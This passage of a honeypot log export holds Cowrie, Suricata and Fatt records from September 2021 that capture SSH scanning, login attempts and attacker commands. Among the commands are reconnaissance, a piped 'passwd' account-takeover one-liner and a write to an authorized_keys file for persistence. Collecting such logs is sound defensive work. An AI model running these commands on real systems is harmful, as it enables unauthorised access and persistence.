"110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "proto": "TCP", "src_ip": "110.137.195.172", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1577887079673031, "payload": "AAADzAYUWea+GLVw1kUJCWC0lTUgGQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 19494, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:56:17.667880Z", "@timestamp": "2021-09-20T11:56:17.667Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......Y....p.E..`..5 ....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	\N	\N
33576	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:18.239858+03	2021-09-20 15:00:06.036722+03	{"_id": "lAYQA3wBvYTbRNuEZ1Cp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:18.239858Z", "@timestamp": "2021-09-20T11:56:18.239Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33577	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:18.239319+03	2021-09-20 15:00:06.039722+03	{"_id": "lgYQA3wBvYTbRNuEZ1Cp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:18.239319Z", "@timestamp": "2021-09-20T11:56:18.239Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33578	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:56:19.484606+03	2021-09-20 15:00:06.040723+03	{"_id": "mAYQA3wBvYTbRNuEaVD8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "110.137.195.172", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 27092, "timestamp": "2021-09-20T11:56:19.484606", "@timestamp": "2021-09-20T11:56:19.484Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33579	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:19.691953+03	2021-09-20 15:00:06.041722+03	{"_id": "ogYQA3wBvYTbRNuEa1CS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "7d472c31613a", "@version": "1", "timestamp": "2021-09-20T11:56:19.691953Z", "@timestamp": "2021-09-20T11:56:19.691Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
33580	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:19.482331+03	2021-09-20 15:00:06.043722+03	{"_id": "oQYQA3wBvYTbRNuEa1CS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "7d472c31613a", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:56:19.482331Z", "@timestamp": "2021-09-20T11:56:19.482Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
33581	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:20.238976+03	2021-09-20 15:00:06.044722+03	{"_id": "qQYQA3wBvYTbRNuEb1B6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:20.238976Z", "@timestamp": "2021-09-20T11:56:20.238Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33582	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:20.23953+03	2021-09-20 15:00:06.045723+03	{"_id": "qgYQA3wBvYTbRNuEb1B6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:20.239530Z", "@timestamp": "2021-09-20T11:56:20.239Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33583	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:20.627106+03	2021-09-20 15:00:06.046723+03	{"_id": "qwYQA3wBvYTbRNuEb1B6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "7d472c31613a", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:56:20.627106Z", "@timestamp": "2021-09-20T11:56:20.627Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
33584	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:21.839615+03	2021-09-20 15:00:06.048722+03	{"_id": "rAYQA3wBvYTbRNuEc1Bj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7d472c31613a", "@version": "1", "duration": 2.3577017784118652, "timestamp": "2021-09-20T11:56:21.839615Z", "@timestamp": "2021-09-20T11:56:21.839Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
33585	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:22.281396+03	2021-09-20 15:00:06.049721+03	{"_id": "sAYQA3wBvYTbRNuEd1BM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:22.281396Z", "@timestamp": "2021-09-20T11:56:22.281Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33586	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:22.57789+03	2021-09-20 15:00:06.050723+03	{"_id": "swYQA3wBvYTbRNuEd1BM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "110.137.195.172", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "929986875dbf", "@version": "1", "destfile": "/home/guest/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:56:22.577890Z", "@timestamp": "2021-09-20T11:56:22.577Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	\N	\N
33587	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:23.3494+03	2021-09-20 15:00:06.051722+03	{"_id": "wAYQA3wBvYTbRNuEe1A3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:23.349400Z", "@timestamp": "2021-09-20T11:56:23.349Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33588	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:23.968328+03	2021-09-20 15:00:06.052723+03	{"_id": "vAYQA3wBvYTbRNuEe1A2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "120.36.157.98", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.6190156936645508, "duplicate": true, "timestamp": "2021-09-20T11:56:23.968328Z", "@timestamp": "2021-09-20T11:56:23.968Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33589	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:23.352283+03	2021-09-20 15:00:06.054723+03	{"_id": "wgYQA3wBvYTbRNuEe1A3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "110.137.195.172", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.44516515731811523, "duplicate": true, "timestamp": "2021-09-20T11:56:23.352283Z", "@timestamp": "2021-09-20T11:56:23.352Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33590	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:23.71433+03	2021-09-20 15:00:06.055723+03	{"_id": "uwYQA3wBvYTbRNuEe1A2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:23.714330Z", "@timestamp": "2021-09-20T11:56:23.714Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33591	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:23.714877+03	2021-09-20 15:00:06.056722+03	{"_id": "vQYQA3wBvYTbRNuEe1A2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "echo -e \\"4321\\\\nhnLrNaHrWwCz\\\\nhnLrNaHrWwCz\\"|passwd|bash", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"4321\\\\nhnLrNaHrWwCz\\\\nhnLrNaHrWwCz\\"|passwd|bash", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:23.714877Z", "@timestamp": "2021-09-20T11:56:23.714Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33592	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:23.715693+03	2021-09-20 15:00:06.057721+03	{"_id": "vwYQA3wBvYTbRNuEe1A2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "Enter new UNIX password: ", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:23.715693Z", "@timestamp": "2021-09-20T11:56:23.715Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33593	172.217.169.170	109.199.241.180	Suricata	2021-09-20 14:56:24.137375+03	2021-09-20 15:00:06.058722+03	{"_id": "wwYQA3wBvYTbRNuEfFB7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:56:24.137375+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "172.217.169.170", "asn": 15169, "as_org": "Google Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "172.217.169.170", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 709466167711903, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 